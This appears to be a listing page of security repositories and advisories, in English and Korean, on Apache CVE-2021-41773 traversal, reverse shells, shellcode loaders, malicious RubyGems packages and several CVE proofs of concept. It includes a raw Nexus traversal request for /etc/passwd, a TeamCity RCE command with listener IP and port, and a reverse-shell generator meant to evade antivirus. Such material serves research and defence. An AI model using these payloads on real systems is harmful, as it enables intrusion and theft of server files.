EUVD-2026-86347

PyMongo: PYTHON-5986 Host injection in PyMongo connection string parsing via percent-encoded delimiters...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Contributors 이희수@lheeeesoo Apache HTTP Server 2.4.49에는 URL 경로를 정규화하는 과정에서 인코딩된 상위 경로를 제대로 차단하지 못하는 취약점이 존재한다. 공격자는 .%2e와 같은 값을 이용하여 웹 서버가 공개하도록 설정한 디렉터리 밖으로 이동할 수 있다. 외부 디렉터리에 대한 접근이 허용된 환경에서는 서버 내부 파일이 노출될 수 있으며, CGI 기능이 활성화된 경우에는 시스템 셸을 실행하여 원격 명...

powershell-reverse-tcp

PowerShell Reverse TCP PowerShell scripts for communicating with a remote host. Remote host will have a full control over the client and all the underlying system commands. Check shells based on: Invoke-Expression PowerShell command here, process pipes here. Tested with PowerShell v5.1.19041.2673...

BadOutlook

Bad Outlook Outlook 애플리케이션 인터페이스COM 인터페이스를 활용하여 특정 트리거 제목 줄에 따라 시스템에서 셸코드를 실행하는 간단한 PoC입니다. Microsoft.Office.Interop.Outlook 네임스페이스를 사용하면 개발자가 전체 Outlook 애플리케이션을 표현할 수 있습니다적어도 Microsoft에 따르면. 즉, 새 애플리케이션은 이메일 읽기보관함, 휴지통 등 포함부터 발송까지 모든 작업을 수행할 수 있어야 합니다. 수많은 기존 C 셸코드 로더를 기반으로, 트리거 제목 줄과 본문에 base64...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

Malicious code in wallet-backup-tool (RubyGems)

RubyGems runs this gem's native extension script ext/wallet-backup-tool/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

msf_shellcode_analysis

Metasploit 셸코드의 정적 분석 첫 블로그 포스트로, 흔히 쓰이는 Metasploit 셸코드를 분석해 보는 게 좋겠습니다. 인코딩, PEB, Windows 셸코드, Export Address Table과 같은 주제를 다루기에 아주 좋은 기회입니다. 시작하기 가로챈 긴 명령줄부터 시작합니다.powershell "powershell.exe" -nop -w hidden -encodedcommand...

Analysis

탐지 엔지니어링 노트 및 분석 이 저장소는 실험실 테스트, 로그 분석 및 실제 SOC 워크플로에 기반한 실무 탐지 연구를 문서화합니다. 초점은 공격자 기술이 로그에 실제로 어떻게 나타나는지, 어떤 탐지 로직이 실제로 작동하는지, 무엇이 실패하는지, 그리고 오탐이 발생하는 위치에 맞춰져 있습니다. 모든 콘텐츠는 분석가와 탐지 엔지니어를 위한 방어적 관점에서 작성되었습니다. 이는 공격 도구나 익스플로잇 개발이 아닙니다. 이 저장소에 포함된 내용 DLL 하이재킹 및 사이드 로딩 Windows 시스템에서의 DLL 하이재킹 및 사이드 ...

PoC-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 경로 탐색 익스플로잇 CVE-2021-41773의 Python 익스플로잇으로, Apache HTTP Server 2.4.49에서 서버의 임의 파일을 읽을 수 있게 하는 경로 탐색 취약점입니다. 취약점 세부 정보 CVE-2021-41773 은 Apache HTTP Server 2.4.49에서 사용자 제공 경로에 대한 부적절한 검증으로 인해 발생하는 경로 탐색 취약점입니다. 이 취약점을 통해 공격자는 URL 인코딩된 경로 탐색 시퀀스를 사용하여 문서 루트 외부의 파일을 ...

basecrack

BaseCrack 베이스 인코딩 스킴 디코더 BaseCrack 는 Python으로 작성된 도구로, 모든 영숫자 기반 인코딩 방식을 디코딩할 수 있습니다. 이 도구는 단일 사용자 입력, 파일의 여러 입력, 인수 입력, 다중 인코딩된 베이스 , 이미지 EXIF 데이터의 베이스 , OCR을 사용한 이미지의 베이스 를 수용하며 매우 빠르게 디코딩할 수 있습니다. 기본 데모는 BaseCrack의 API를 사용하는 웹 인터페이스를 확인하세요. 재미있는 사실! 처음에는 지루한 CTF 챌린지의 다중 인코딩된 베이스에 지쳐서 만들었습니다. 이...

UBUNTU-CVE-2026-102731

Memory allocation with excessive size value vulnerability in Apache Directory LDAP API. A malicious peer or a MITM can send a small BER-encoded response causing a large memory allocation before any data is received. This can lead to an OutOfMemoryError and denial of service. The client JVM OOMs...

Preproduce-CVE-2021-41773

CVE 2021-41773 재현 Apache HTTP Server 2.4.49의 경로 탐색 및 파일 노출 취약점 CVE-2021-41773 POC $ docker compose up 동작 확인 $ curl -I http://localhost HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 13:25:18 GMT Server: Apache/2.4.49 Unix Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT ETag: "2d-432a5e4a73a80" Accept-Ranges...

mcreator

mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator console python...

CVE-2023-42793

CVE-2023-42793 정보 먼저 다른 익스플로잇을 사용하여 토큰을 획득해야 합니다. 그러나 다음 익스플로잇을 사용하면 페이로드를 URL로 인코딩하여 서버로 전송하므로 Linux 서버에 RCE를 획득할 수 있습니다. 사용 방법 python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

CVE-2024-46635

CVE-2024-46635 배경 GongZhiDao System은 GongZhiDao에서 개발한 플랫폼입니다. 사용자 관리, 데이터 분석 및 운영 기능을 포함한 엔터프라이즈 솔루션을 제공합니다. 그러나 API 엔드포인트 중 하나에서 보안 취약점이 발견되어 적절한 인증 없이 민감한 사용자 정보가 노출될 가능성이 있습니다. 취약점 설명 GongZhiDao System의 /oaa/api/AccountMaster/GetCurrentUserInfo API 엔드포인트에 취약점이 존재합니다. UserNameOrPhoneNumber 매개변수...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC DrayTek 인증되지 않은 원격 코드 실행 취약점 CVE-2022-32548 - /cgi-bin/wlogin.cgi의 username 필드를 통해 기술 세부 사항 취약한 DrayTek 장치의 웹 관리 인터페이스는 /cgi-bin/wlogin.cgi의 로그인 페이지에서 버퍼 오버플로우의 영향을 받습니다. 공격자는 로그인 페이지의 aa 및 ab 필드에 base64로 인코딩된 문자열로 세심하게 조작된 username 및/또는 password를 제공할 수 있습니다. 세부 사항: Python으...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

EUVD-2026-92113

WWBN AVideo 12.4 through 29.2.0 contains a stored cross-site scripting vulnerability that allows authenticated uploaders to inject HTML by submitting doubly-encoded entities in video titles. Because safeString strips tags before decoding entities and runs twice via setTitle and save, attackers ca...

CVE-2014-0094

CVE-2014-0094 검증용. https://piyolog.hatenadiary.jp/entry/20140417/1397750197 를 참고하여, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 를 재현. classLoader는 동작하고 있는데, 정작 로그가 퍼센트 인코딩되어 버려서 RCE까지 이어지지 않네 windows 버전도 추가7u191이지만.... 이것도 안 되니, tomcat이 원인인가..?...